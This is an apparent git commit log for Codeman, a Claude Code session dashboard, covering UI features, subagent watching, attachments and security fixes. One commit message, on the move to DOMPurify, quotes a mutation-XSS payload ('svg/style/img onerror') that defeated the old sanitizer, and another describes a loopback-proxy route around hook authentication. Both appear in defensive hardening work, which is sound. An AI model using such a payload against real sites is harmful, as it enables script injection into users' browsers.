Compare commits

...
Author SHA1 Message Date
Codeman maintainer d16bf34e34 feat(ultracode): floating run windows with tab connector lines + dedicated toggle
Auto-popping draggable window per active ultracode/Workflow run, connected by a
glowing line to its originating session tab (resolved via claudeSessionId ===
sessionUuid). Mirrors the live agent grid; auto-closes after a run finishes;
dismissals are remembered. Additional to the existing docked panel.

New "Ultracode Floating Windows" setting (default OFF), independent of the
"Ultracode Agents" panel toggle; either toggle starts the workflow-run watcher.

Also bumps version to 1.1.3 and brings CLAUDE.md up to date for the ultracode
subsystem.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-15 16:33:54 +02:00
Codeman maintainer e6989bdb40 chore: version packages 2026-06-15 11:04:46 +02:00
Codeman maintainer 6ab6bbbbd4 feat(ultracode): Phase 4 — click an agent card to open its live transcript
Each workflow agent card with an agentId is now clickable and opens that agent's
live transcript in a popup, reusing the existing GET /api/subagents/:agentId/
transcript route. The workflow agent's agentId is byte-identical to the
agent-<id>.jsonl stem that subagent-watcher already tracks (via w16's
watchWorkflowDirs), so this is a pure client-side join — ZERO subagent-watcher
edits.

Graceful degradation: 'start' (queued) agents have no agentId yet and stay
non-clickable; an aged-out/untracked agent (subagent-watcher's 4h startup window,
or tracking disabled) returns an empty transcript and shows a friendly note
instead of an empty popup.

Verified on a live isolated server: the subagent transcript route serves a
workflow agent's transcript (150 entries) and the runId's agents[] carries the
matching agentId; Playwright confirmed clicking a card opens the transcript popup
with no console errors. frontend-syntax / public-assets / CSS-parse clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-15 10:49:22 +02:00
Codeman maintainer c15c19fab7 feat(ultracode): master-detail tab for Workflow/ultracode run visualization
Opt-in (showUltracodeAgents, default OFF) panel that visualizes ultracode /
Workflow-tool runs like Claude Code's "working agents" TUI: LEFT = runs + phases
(selectable tasks), RIGHT = each run's agents with model, live state, tokens
burned, and tool calls.

Standalone — ZERO edits to subagent-watcher.ts. A new workflow-run-watcher.ts
singleton globs the run-state tree (~/.claude/projects/*/*/workflows/wf_*.json,
disjoint from the transcript tree), strips the heavy script/scriptPath/result/logs
fields (174KB -> ~25KB/run), and emits workflow:run_* SSE events. The LEFT list
ships lightweight summaries (getLightState replay + SSE); the RIGHT pane fetches
the full run (with agents[]) via GET /api/workflows/:runId on selection.

Backend: workflow-run-watcher.ts, types/workflow-run.ts, config/workflow-config.ts,
3 SSE events, getLightState workflowRuns replay, GET /api/workflows[/:runId],
showUltracodeAgents schema key + boot-gate (default OFF) + live toggleService.
Frontend: ultracode-panel.js (debounced master-detail render, run/phase select),
header launcher (btn-ultracode-agents--hidden marker -> mobile-guard-exempt),
App Settings toggle (SYNCED, deliberately not in displayKeys).

Agent states on disk are start|progress|done (start=queued; done has
durationMs/resultPreview). Tests: workflow-run-watcher (9), workflow-routes (3).
Verified: tsc/lint/prettier/frontend-syntax/public-assets/mobile-header-guard
clean; full test:ci green (2986 passed); live server + Playwright e2e against 25
real runs (28-agent grid, phase filter, OFF hides launcher).

Design: docs/ultracode-agent-viz-plan.md (rev. 3).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-15 08:40:05 +02:00
Codeman maintainer f6a30d7335 fix(subagent-watcher): discover workflow-nested agents + harden meta→transcript upgrade
Two follow-ups to db93491 (the 2026-06 CC meta.json format change), after
reverse-engineering the new on-disk layout with a live current-CC subagent +
1Hz fs poller:

(1) Workflow recursion — the Workflow tool nests its agents at
    subagents/workflows/{wf}/agent-{id}.jsonl, one level below the flat
    subagents/ scan, so they were never tracked. Add watchWorkflowDirs()
    (driven from scanForSubagents) to descend and watch each workflow dir
    (idempotent; fs.watch recursive is unsupported on Linux, so the ~5s
    periodic scan re-drives it — same latency as new-session discovery).
    Require the `agent-` prefix in the flat readdir + watch callback so a
    workflow dir's sibling journal.jsonl can't register a bogus "journal" agent.
    E2E verified against real ~/.claude/projects: 32 workflow-nested agents
    discovered (wf_fa35c1d8-4a9), 0 bogus journal agents.

(2) Transcript timing — empirically the per-agent .jsonl IS written at the
    standard subagents/ path and grows incrementally (tailable); the
    /tmp/.../tasks/<id>.output the prior probe found is just a symlink back to
    it. meta.json lands at spawn, the .jsonl a beat later. Add a meta→transcript
    upgrade in registerAgentFile: when an agent registered meta-only gets its
    sibling .jsonl, re-point filePath, drop the stale sidecar context, start
    tailing, and emit subagent:updated (not a duplicate discovered). Corrects the
    now-inaccurate "no transcript to tail" doc comment on registerAgentMeta.

Tests: 2 new cases (workflow-nested discovery; journal.jsonl not registered).
All 56 pass; tsc/lint/format clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-15 01:43:15 +02:00
Codeman maintainer db93491dd1 fix(subagent-watcher): discover subagents via agent-*.meta.json (CC format change)
Claude Code changed its subagent on-disk format (~2026-06-14): TUI Task
subagents now write `agent-{id}.meta.json` ({agentType,description,toolUseId})
into the session's `subagents/` dir and no longer reliably write a per-agent
`agent-{id}.jsonl` transcript there. The watcher discovered agents ONLY by
`.jsonl`, so it tracked zero — subagent windows and the monitor's "N TRACKED"
showed nothing.

- Add `registerAgentMeta()`: discover from the meta sidecar (description from
  meta.description/agentType), prefer a sibling `.jsonl` transcript when present
  (richer), never tail a meta file.
- Initial scan + directory watcher now handle `.meta.json` alongside `.jsonl`.
- Tests: 2 new cases (meta-only discovery; prefer-.jsonl-when-present).
  Verified e2e against a real ~/.claude/projects fixture.

Known follow-ups (not in scope): meta-only agents have no per-agent transcript
to tail (no live tool-call feed, status stays 'active'); workflow agents under
`subagents/workflows/{wf}/agent-*.jsonl` are still missed by the flat scan.

Also adds the README screenshot tooling used to surface this:
- capture-real-overview.mjs: DSF=2 + ?nowebgl crisp path (DOM renderer avoids
  the WebGL glyph-doubling at deviceScaleFactor>1).
- capture-readme-real.mjs: real-instance desktop-scene capture (dashboard/
  monitor/subagent) for an isolated beta seeded from prod settings.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-15 01:24:30 +02:00
Codeman maintainer b7ff54b2ec fix: file viewer opens audio/svg/binary like the attachments viewer
The File Browser preview and Attachments preview share openFilePreview(),
but the workspace branch (via /file-content) misclassified several types the
attachments viewer handled fine:

- SVG was reported as type:image, but file-raw serves SVG as octet-stream +
  attachment (XSS hardening), so the <img> broke. Now fetched and rendered via
  a same-origin image/svg+xml blob <img> (safe; <img> never runs SVG scripts).
  file-raw's SVG hardening is unchanged.
- Audio (mp3/wav/ogg/m4a/aac/flac/opus) was type:binary -> "Cannot preview".
  Now classified as audio and rendered with <audio controls>; file-raw gained
  the matching audio/video MIME types so playback works.
- Binary formats not in the hardcoded list (xlsx/doc/zip/...) were decoded as
  UTF-8 and dumped as mojibake. Replaced the static list with a NUL-byte
  content sniff that flags arbitrary binaries; the binary fallback now offers a
  Download link instead of dead-ending.

Adds route tests for audio, known-binary (xlsx), and NUL-sniff classification.
Verified end-to-end on an isolated instance + headless browser.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-15 00:42:12 +02:00
Codeman maintainer dc63d1f1a6 tools: harden real-overview screenshot capture + document DSF/cache gotchas
scripts/capture-real-overview.mjs:
- Default deviceScaleFactor to 1 (DSF=2 makes xterm's headless WebGL renderer
  draw console glyphs at ~2x while reporting nominal cell dims — invisible to
  cols/cell measurement, only the pixels reveal it; HTML chrome is unaffected so
  only the terminal font looks oversized)
- Mint a unique timestamped filename per run so a viewer/HTTP cache can't shadow
  a fresh capture with a stale render of a fixed path
- Seed per-device localStorage (skin, codeman-font-size, codeman-app-settings)
  so the capture reflects a real device: plan-usage chip shown (per-device key,
  deleted from server payload), side panels closed for a full-width terminal
- Support prod's self-signed HTTPS (ignoreHTTPSErrors), env-configurable viewport

CLAUDE.md:
- Document the DSF=1 / unique-filename screenshot gotcha (incl. the real
  Codeman-side immutable-static-asset cache footgun)
- Add the sanitize-html.js infra module (DOMPurify mXSS allowlist, COD-56) to the
  frontend module list and load order (was missing)

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 23:59:40 +02:00
Codeman maintainer 7c5920d3b9 chore: version packages 2026-06-14 23:06:32 +02:00
Ark0N e1e670594b Merge PR #128: auto-wrap desktop session tabs on overflow + resize re-eval
Auto-wrap desktop session tabs to a second row on overflow
2026-06-14 22:43:43 +02:00
Ark0N 2e28e17834 Merge PR #123: hide CJK textarea on welcome screen + mobile test update
fix(cjk): hide CJK textarea on welcome screen and fix vertical centering
2026-06-14 22:43:17 +02:00
Ark0N 90f18438ff Merge PR #127: require hook-event secret unconditionally + stale-config self-heal
Require the hook-event secret unconditionally (drop managed-tunnel gating)
2026-06-14 22:43:13 +02:00
Ark0N 5b62f397ec Merge PR #129: macOS Option/physical-key session shortcuts + terminal-ui ESC-leak fix
Make Option/Alt session shortcuts work on macOS (physical key codes)
2026-06-14 22:43:08 +02:00
Ark0N 1e54ebcdf4 Merge PR #125: add codeman doctor dependency checker + accuracy review fixes
Add `codeman doctor` tool-dependency checker
2026-06-14 22:43:04 +02:00
Ark0N 0364bea166 Merge PR #126: harden markdown sanitizer with DOMPurify (mXSS) + allowlist/test review fixes
Harden markdown HTML sanitizer with vendored DOMPurify (mXSS)
2026-06-14 22:42:59 +02:00
Claude (Codeman maintainer) c7e8ff616f fix(tabs): re-evaluate auto-wrap on resize and on every full tab rebuild
Review polish on the desktop tab auto-wrap:

- Auto-wrap is purely width-driven, but updateTabOverflowMode() was only called at the
  tail of _renderSessionTabsImmediate (SSE content renders). Window resize — the primary
  trigger for tabs crossing the one-row overflow threshold — never re-evaluated it, so
  narrowing/widening the window left the wrap state stale until an unrelated status event
  fired a render. Call it from the debounced window-resize handler (no-op on
  mobile/tablet, where the method bails).

- Move the re-evaluation into _fullRenderSessionTabs() as well, so the incremental
  branch's two early `_fullRenderSessionTabs(); return;` paths (badge add/remove, which
  change tab width) and the manual two-rows toggle (applyTabWrapSettings → _fullRender…)
  re-evaluate too. The latter also fixes a transient where enabling manual two-rows while
  auto-wrap was on left both classes set (clipping folder tabs to 96px) until the next
  render.

- Add boundary cases to the policy test: exact fit and the +1 sub-pixel tolerance (no
  wrap), 2px over (wrap), and a single overflowing tab (no wrap).

Verified: tab-overflow test passes; tsc, check:frontend-syntax, check:public-assets,
prettier all clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 22:38:19 +02:00
Claude (Codeman maintainer) 21fbff4d8a fix(hooks): self-heal stale pre-secret hook configs so COD-91 doesn't 401 them
Making the hook-event secret unconditionally required closes the own-loopback-proxy gap,
but it would also silently 401 the hook curls baked into cases created BEFORE the secret
header existed (COD-54, 2026-06-10): writeHooksConfig only runs at case CREATION, so an
existing/linked case on a password-protected install keeps secret-less curls that the new
gate rejects (degrading idle/stop/teammate/task signalling with no error surfaced).
No-password installs are unaffected — the gate isn't registered without CODEMAN_PASSWORD.

Add `refreshStaleHookSecret(casePath)` and call it on Claude-mode spawns in
POST /api/sessions and POST /api/quick-start (existing-case branch). It regenerates the
hooks block ONLY when settings.local.json already holds Codeman's own hook curls (they
target /api/hook-event) that lack the X-Codeman-Hook-Secret header — a no-op when the
hooks are absent, not ours, or already current, so it never clobbers user customizations
and is cheap on every spawn. Fresh cases are unaffected (writeHooksConfig already wrote
the secret). withSettingsLock serializes it with the model/statusLine writers.

Verified: new test/hook-secret-selfheal.test.ts 5/5 (heal + key-preservation + no-op on
current/foreign/absent/malformed); the PR's cod54 + auth-security suites still pass
(36); tsc, lint, format:check, and npm run build all clean (symbol present in dist).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 22:35:29 +02:00
Claude (Codeman maintainer) 8ffb2b0644 test(cjk): update the mobile server-override test for the welcome-screen gate
The PR gates CJK textarea visibility on an active session
(`showCjk = cjkUserEnabled && !!activeSessionId`) so the fixed-position textarea no
longer floats over the welcome overlay. That intentionally changes the behavior the
existing `shows the CJK textarea on mobile only for server override` test asserted —
it set `_serverCjkOverride = true` on a fresh page (no active session) and expected the
textarea visible, which now (correctly) resolves to hidden. The test lives in
test/mobile/** (excluded from CI), so it wasn't caught by the PR's green CI.

Update the test to verify the new, intended behavior: with the server override on it
stays hidden on the welcome screen (no active session) and is revealed once a session
is active. This is a co-authored review fix; the original change is TeigenZhang's.

Verified: tsc, check:frontend-syntax, check:public-assets, prettier all clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 22:30:09 +02:00
Claude (Codeman maintainer) 80ebf8b549 fix(shortcuts): stop Alt/Option nav keys leaking ESC sequences into the terminal
The PR migrated the app.js tab-nav handler to physical e.code but left xterm's
pass-through gate (terminal-ui.js) matching ev.key digits. Consequences:

- Alt+[ / Alt+] (the new bindings) were never in the gate, so xterm sent ESC[ / ESC]
  to the PTY on every platform AS WELL AS switching the session.
- Alt+digit on a remapped macOS Option layout (Option+1 -> "¡") didn't match the
  ev.key '0'-'9' gate either, so xterm injected ESC<char> — on exactly the layouts
  this PR exists to fix.

Update the xterm gate to mirror app.js exactly: suppress when
`ev.altKey && !ctrl && !shift && /^(Digit[1-9]|BracketLeft|BracketRight)$/.test(ev.code)`.
Returning false there tells xterm not to write to the PTY, so the shortcut switches
the tab with no stray escape sequence.

Also: relabel the docs Alt/Option (the mechanism is layout/OS-independent, so the
shortcut works for Linux/Windows Alt users too — "Option" alone was Mac-only wording),
and add a keyboard-shortcuts test asserting terminal-ui.js gates on the same physical
codes so this desync can't regress (a grep the original test missed).

Verified: keyboard-shortcuts test 4/4, check:frontend-syntax, check:public-assets,
format:check all clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 22:27:36 +02:00
Claude (Codeman maintainer) c101cc8716 fix(doctor): correct Node minimum, drop phantom gemini, add pdftoppm, validate --category
Review fixes on top of the `codeman doctor` checker:

- Node minVersion 18.0.0 -> 22.0.0. package.json engines is ">=22.0.0" and the docs/CI
  require Node 22+, so doctor was green-lighting Node 18-21 (a false pass).
- Remove the phantom `gemini` registry entry. Codeman has no Gemini backend
  (SessionMode = 'claude' | 'shell' | 'opencode' | 'codex'); the entry advertised a
  dependency that nothing uses.
- Add `pdftoppm` (poppler) to the office group. document-thumbnailer.ts calls pdftoppm
  with no fallback as the sole PDF/Office first-page thumbnail renderer, yet it was
  absent from the registry, so doctor never reported it missing.
- Fix the `--category` mismatch: the help advertised `documents|media` categories that
  the ToolCategory type/registry never defined, and an unknown category silently
  produced an empty "all healthy" table. Introduce TOOL_CATEGORIES as the single source
  of truth (type + help + validation); an invalid `--category` now errors with the
  valid list and exits 2.

Verified: tsc, lint, format:check all clean; both dependency tests pass (20);
`doctor` runs correctly (Node 22.22 ok, pdftoppm detected, no gemini), `--category media`
errors with exit 2, `--category office` lists libreoffice/pdftoppm/msoffice.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 22:24:46 +02:00
Claude (Codeman maintainer) cceb24ed8f fix(sanitizer): enforce the curated allowlist + make the test run order-independently
Review fixes on top of the DOMPurify mXSS hardening:

- Remove `USE_PROFILES: { html: true }` from the sanitize-html.js config. DOMPurify
  treats USE_PROFILES and ALLOWED_TAGS/ALLOWED_ATTR as mutually exclusive — with a
  profile set it resets the allow-lists to the full HTML profile and silently ignores
  the curated lists, so the tight markdown-only allowlist was dead config (still
  XSS-safe via FORBID + core, but far broader than intended: <button>/<input>/
  <details>/<audio>/<select>/<label> all survived). Dropping USE_PROFILES puts the
  curated ALLOWED_TAGS/ALLOWED_ATTR back in force; FORBID_TAGS/FORBID_ATTR stay as
  defense-in-depth and DOMPurify keeps its default safe-URI handling.

- Rewrite test/markdown-sanitizer.test.ts to run in the default node environment with
  an in-test jsdom window instead of a per-file jsdom environment. That environment
  externalizes node:fs/node:path under vite, so the suite failed to load in isolation
  ("No such built-in module: node:") and only survived the full CI run because an
  earlier node-env test happened to pre-cache node:fs — order-dependent and fragile.
  The rewrite is order-robust and adds an "allowlist is actually enforced" block
  (non-markdown tags must be dropped) that fails if USE_PROFILES is reintroduced.

Verified: 25/25 tests pass standalone under config/vitest.ci.config.ts; tsc, lint,
format:check, check:frontend-syntax, check:public-assets, and npm run build all clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 22:21:13 +02:00
Aamer Akhter 60dab7ce3f Make Option/Alt session shortcuts work on macOS (physical key codes)
Tab-switch shortcuts matched e.key, so on macOS Option+1 emits a special
character ('¡', not '1') and the shortcut silently failed. Switch to physical
e.code (Digit1-9), which is layout-independent. Also adds Option+[ / Option+]
for previous / next session. Help modal + README updated.

Test: test/keyboard-shortcuts.test.ts.
2026-06-14 15:54:50 -04:00
Aamer Akhter a5263b3252 Auto-wrap desktop session tabs to a second row on overflow
When desktop session tabs overflow one row, wrap them to a second row instead
of horizontal scroll — unless the user has pinned the manual two-row layout
(tabTwoRows). Mobile/tablet keep horizontal scroll. The wrap policy
(shouldAutoWrapTabs) lives in constants.js as a pure, unit-testable function;
updateTabOverflowMode() measures overflow after each tab render and toggles
.tabs-auto-wrap.

Test: test/tab-overflow.test.ts (vm-loads constants.js, asserts the policy).
2026-06-14 15:49:12 -04:00
Claude (Codeman maintainer) 90cd481b9f chore: version packages
Release 1.1.0. Headline: opt-in Plan Usage Limits chip (per-device live
5h/weekly plan %), attachment history drawer + opt-in Attachments button,
Opus 4.6 model options, and mobile header regression guards.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 21:39:14 +02:00
Claude (Codeman maintainer) 787e5e2a03 feat(attachments): make the header attachments button opt-in (default OFF)
The COD-39 attachments button was hard-visible in the header — first on
mobile, then (after the mobile-only hide) still on desktop. Make it a
proper opt-in App Settings → Display toggle ("Attachments Button"),
default OFF everywhere, mirroring the Response Viewer button:

- index.html: button ships with the `btn-attachments-history--hidden`
  marker; new settings checkbox #appSettingsShowAttachmentsButton.
- styles.css: base `display:inline-flex !important` + a more-specific
  `--hidden` rule (same pattern as the response viewer).
- settings-ui.js: load/save/getDefaultSettings(false) + a live toggle in
  applyHeaderVisibilitySettings. Per-device and NON-leaking — added to
  displayKeys AND stripped from the server payload, so enabling it on
  desktop never makes it appear on mobile (or any other device). No
  server-side render step (purely client display, like the eye button).
- mobile.css: dropped the now-redundant phone-only hide — the opt-in
  marker hides it everywhere by default; the per-device toggle governs
  both desktop and phone.

Tests updated: the CI static guard drops btn-attachments-history from the
phone-hidden lock (it's opt-in now, excluded from the default-visible
enumeration — the guard still gates any NEW default-visible button); the
real-browser E2E now asserts default-hidden on a desktop-class viewport
and visible after enabling the setting.

Verified on a real desktop browser: hidden by default, the settings
toggle exists, enabling it shows the button. tsc + frontend-syntax +
prettier + public-asset checks + both test suites green.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 21:21:06 +02:00
Claude (Codeman maintainer) 097433c86f docs: update CLAUDE.md for the attachments subsystem growth
Document the three PRs that grew attachments since the last update:
COD-37/#119 (registry + magic links) was already covered, but
COD-38/#120 (document previews/thumbnails) and COD-39/#121 (history
drawer) added four source files and several endpoints that weren't
documented. Split a dedicated Attachments row out of Infra, extend the
Attachments Key Pattern to cover the converter pipeline + concurrency
limiter + history drawer, and refresh the files-route handler count
(8 -> 14) and total (~140 -> ~146). Also carries the prior pending
app.js line-count (3.7K -> 3.9K) and config-file-count (10 -> 12) bumps.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 21:13:36 +02:00
Claude (Codeman maintainer) e738c776c1 fix(settings): slim the Skin picker select to match its row
The skin picker inherited .form-select's 0.8rem font + 0.5rem vertical
padding, rendering bigger and taller than the settings row it sits in
(0.75rem / 0.45rem). The daylight skins' Manrope font exaggerated it,
so "Daylight Blue" looked oversized and the field too thick. Scope a
0.75rem font + 0.3rem vertical padding to .settings-item-skin .form-select
so the field text matches the row label.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 21:08:18 +02:00
Claude (Codeman maintainer) e10f0dabdb fix(mobile): hide attachments-history button on phones + regression guards
The COD-39 attachment-history header button was visible on the cramped
phone header. Hide it on phones alongside the settings gear and lifecycle
log (the mobile header is intentionally minimal — those controls live in
the toolbar). One-line addition to the existing @media (max-width: 430px)
display:none block in mobile.css.

This is the second time a header control leaked onto mobile (the
plan-usage chip was the first), so add two regression guards:

- test/mobile-header-buttons-policy.test.ts — a pure static analysis of
  index.html + mobile.css (no browser), so it runs in the normal CI sweep
  (the test/mobile/** Playwright suite is EXCLUDED from CI and never gated
  this). It enumerates every default-visible header button and fails when
  one has no phone-visibility decision — either a mobile.css hide rule or
  an explicit MOBILE_VISIBLE_ALLOWLIST entry. A new header button now
  forces that decision. Verified it fails on the pre-fix state and passes
  after.
- test/mobile/header-buttons.test.ts — real-browser E2E in the mobile
  suite: asserts the attachments/settings/lifecycle buttons are hidden on
  an emulated iPhone 14 Pro and the attachments button is visible on a
  desktop-class tablet.

tsc + lint + prettier + both new tests green. Only CSS + tests changed.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 20:45:23 +02:00
Claude (Codeman maintainer) 661c89cefd fix(plan-usage): make the usage chip per-device, not synced
The plan-usage header chip (5h/7d %) was a SYNCED setting, so enabling
it on desktop turned it on for mobile too — even though the user never
enabled it there. Make the chip's DISPLAY purely per-device (default
OFF) like the response viewer / skin, while keeping telemetry COLLECTION
server-side.

Three leak sources fixed:
- server.ts renderIndexHtml force-revealed the chip from the synced
  value (pre-paint), pushing the desktop choice onto every device.
  Removed — the chip now ships hidden and the client reveals it
  per-device via applyHeaderVisibilitySettings.
- settings-ui.js load-merge let the server value win, writing desktop's
  `true` into the (separate) mobile settings blob. showPlanUsageLimits
  is now a displayKey AND is dropped from the server payload on load, so
  a stale server value is never seeded into a device that didn't enable
  it. It's also stripped from the save payload so a mobile "off" can't
  clobber the server.
- Collection was gated on the same synced flag. Decoupled via a new
  `statusLineTelemetry` ACTION field (schema + system-routes): sent on
  ENABLE only and never persisted, so the exporter is injected when a
  device turns the chip on but is never yanked when another device has
  it off (it's shared across sibling sessions). Session-create already
  reads the per-device blob, so that path was already correct.

One-time migration clears a stale synced `true` from the mobile blob so
existing mobile installs default to OFF without a manual toggle.

Verified end-to-end on an isolated server: with showPlanUsageLimits=true
persisted, the rendered HTML ships the chip hidden; a fresh browser
context (mobile case) keeps it hidden while a context that explicitly
enabled it shows it; the PUT accepts statusLineTelemetry and does not
persist it. tsc + frontend-syntax + system-routes/index tests green.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 20:15:39 +02:00
Ark0N a122e867ef Merge PR #122: restore response-viewer eye button on mobile
Remove the dead mobile-collapsed header tray that hid the entire header-right cluster (incl. the opt-in response-viewer eye) on phones/tablets, and update the mobile test to assert inline reachability. Eye stays hidden by default (showResponseViewer).
2026-06-14 19:46:11 +02:00
Claude (Codeman maintainer) a68f23e647 test(mobile): assert header tray reachable inline, not collapsed (#122)
Removing the dead `mobile-collapsed` tray (this PR) means the test that
asserted the headerRight tray *stays collapsed* on mobile now contradicts
the code and would fail when run. Flip it: with the three-dot utility
toggle gone, the header-right utilities must flow inline and stay
reachable on small viewports. The response-viewer eye itself remains
hidden by default (showResponseViewer opt-in), so this only re-exposes
the already-default-visible utilities inline.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 19:40:51 +02:00
Aamer Akhter f0f43ddbad Require the hook-event secret unconditionally, not only under a managed tunnel
COD-54 gated the /api/hook-event + /api/status-telemetry localhost bypass
behind the shared X-Codeman-Hook-Secret only WHILE a managed tunnel was
running, keeping a plain localhost bypass otherwise. But Codeman can't detect
a user's OWN loopback reverse proxy (their own `cloudflared --url`,
`tailscale serve`, nginx -> 127.0.0.1), which proxies internet traffic into
the loopback origin with req.ip === 127.0.0.1 — so that setup kept the unsafe
plain bypass.

Require the secret on the loopback bypass unconditionally. Managed-session
hooks already always present it (X-Codeman-Hook-Secret from
$CODEMAN_HOOK_SECRET_FILE, generated for every instance), so the legitimate
hook channel is unaffected; only the previously-unguarded own-proxy path is
now rejected. Drops the now-unused getTunnelRunning param from
registerAuthMiddleware.

Tests: cod54-hook-event-auth (tunnel-down now also requires the secret, plus
a good-secret positive case); auth-security (hook tests present the secret to
reach schema validation).
2026-06-14 12:46:58 -04:00
Aamer Akhter ea53916adc Replace markdown denylist sanitizer with vendored DOMPurify (mXSS hardening)
The previous _sanitizeHtml was a denylist over agent/transcript markdown
rendered via innerHTML; it missed style attributes and the svg/math mXSS
namespaces — e.g. <svg><style><img src=x onerror=alert(1)></style></svg>
re-serialized into a live <img onerror>.

Vendor DOMPurify 3.4.8 (allowlist) following the existing marked.min.js
vendor pattern (same-origin, CSP script-src 'self'; not in package.json so
no lockfile drift). New sanitize-html.js wires a hardened allowlist config
(FORBID style/svg/math/script/iframe/object/embed/form; no data attrs);
app.js _sanitizeHtml delegates to it with a fail-closed escape-all fallback.
index.html loads dompurify -> sanitize-html -> app.js (defer); build.mjs
minifies + content-hashes sanitize-html.js.

Test: test/markdown-sanitizer.test.ts (jsdom, real shipping artifacts) —
mXSS payloads neutralized + legit markdown preserved.
2026-06-14 12:33:48 -04:00
Aamer Akhter 585127deb2 Add codeman doctor tool-dependency checker (COD-45)
Environment-aware dependency probe (linux|darwin|win32|wsl) with a static
registry, an injectable ProbeHost seam for testing, grouped table + `--json`
output, and a non-zero exit when a required dependency is missing/outdated.
Node and tmux are the only hard-required tools; the agent CLIs and document
converters (LibreOffice / MS Office via WSL interop) are optional. CI-safe
unit tests (no tmux, injected host).
2026-06-14 12:25:49 -04:00
Claude (Codeman maintainer) e742d00c98 Merge PR #121: attachment history drawer (COD-39)
Per-session attachment history with a slide-in drawer, unread badge, and
re-show. Rebased onto master (stacked on #120) + review hardening (malformed-
history recovery guard, resilient list route, badge positioning, debounce
cancel, stable re-show, Escape-to-close, CSS token fixes). See PR #121.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 09:34:41 +02:00
Claude (Codeman maintainer) 1a363a3e62 fix(attachments): address review findings on attachment history drawer (#121)
Follow-up fixes applied during review of PR #121 (all confirmed minor/nit;
no blockers). Security posture verified sound (externalPath never leaves
toState()/the list route; re-registration runs the guard).

- fix(recovery): restoreAttachmentHistory now skips malformed/legacy saved
  items (null, non-object, missing source/fileName) instead of throwing inside
  the Session constructor — a corrupt __attachmentHistory entry could otherwise
  abort the entire mux-recovery loop. (P1)
- fix(routes): the attachment-list route degrades a single failing entry to
  {missing:true} instead of failing the whole drawer. (INT-4)
- fix(ui): give the attachments header button a positioning context so the
  unread badge anchors to the icon, not the header bar. (F1/CSS-1)
- fix(ui): cancel the debounced history refresh on drawer close and guard it
  against a stale session/closed drawer. (F3)
- fix(ui): re-show ("Card") of a detected item now uses the item's own
  timestamp so the cardId is stable — focuses the existing card instead of
  stacking duplicates. (F4)
- fix(ui): Escape now closes the drawer, matching every other panel. (UX-1)
- fix(ui): badge shows "99+" past 99 (was an inconsistent 100/99 cap). (BADGE-1)
- style: drop the duplicate @keyframes notif-badge-pulse (dead CSS). (INT-1/CSS-3)
- style: empty-state used three undefined CSS custom properties
  (--text-primary/--border-color/--bg-tertiary) → use the defined
  --text/--border-light/--bg-input tokens. (CSS-2)
- test: add constructor restore round-trip + malformed-item resilience tests.

Deferred (noted for author): broadcasting the full 100-item history in every
session-state SSE event (payload bloat), "unread" badge semantics, making the
header button opt-in, and app.inject route tests for the two new endpoints.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 09:30:01 +02:00
Aamer Akhter 577b6d7384 COD-39 attachment history drawer
Stacks on COD-38: accumulates a per-session attachment history and exposes it
through a slide-in drawer with an unread badge, so attachments stay reachable
after their cards are dismissed.

Backend:
- session-attachment-history: history state — dedupe by source path / relative
  path, newest-first, 100-item cap, and externalPath sanitization (the absolute
  host path is server-private and never leaves toState()).
- session.ts: _attachmentHistory + getter (sanitized) / upsert / restore /
  getAttachmentHistoryForPersist; restored from saved state in the constructor.
- file-routes: GET /attachments (list — resolves each entry to live metadata +
  routes; external entries are re-registered) and GET /attachments/:id
  (metadata poll). The by-id route guards via the registry's TOCTOU-safe
  resolveServableAttachmentPath.
- server.ts: detected/registered attachments upsert into history and persist;
  the private (externalPath-bearing) history rides on disk under
  __attachmentHistory, separate from the sanitized public copy, and is restored
  on mux-session recovery.
- types/session.ts: SessionAttachmentHistoryItem + SessionState.attachmentHistory.

Frontend:
- panels-ui: the drawer (lazy-built), unread badge, list render with per-item
  preview/download/open/"Card" (reshow) actions, and live refresh of the open
  drawer on new detections.
- app.js: history state + per-session badge/cleanup wiring.
- index.html / styles.css / mobile.css: header button + badge and the drawer.

Verified: tsc / eslint / prettier / frontend-syntax / public-assets clean; new
history-module unit tests pass; full test:ci green (2866 passed); badge, drawer
open/render/reshow/close verified in-browser.
2026-06-14 09:05:17 +02:00
Claude (Codeman maintainer) 5eacb1cf03 Merge PR #120: document attachment previews + thumbnails (COD-38)
Adds attachment cards with first-page thumbnails and inline document
previews (PDF/Office via pdftoppm + LibreOffice), plus review hardening
(converter concurrency limiter, bounded preview cache, fixed detected-doc
preview routing). See PR #120.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

# Conflicts:
#	src/web/public/styles.css
2026-06-14 08:49:36 +02:00
Claude (Codeman maintainer) 5fbe451c26 fix(attachments): harden document preview/thumbnail path (review of #120)
Follow-up hardening applied during review of PR #120, addressing the
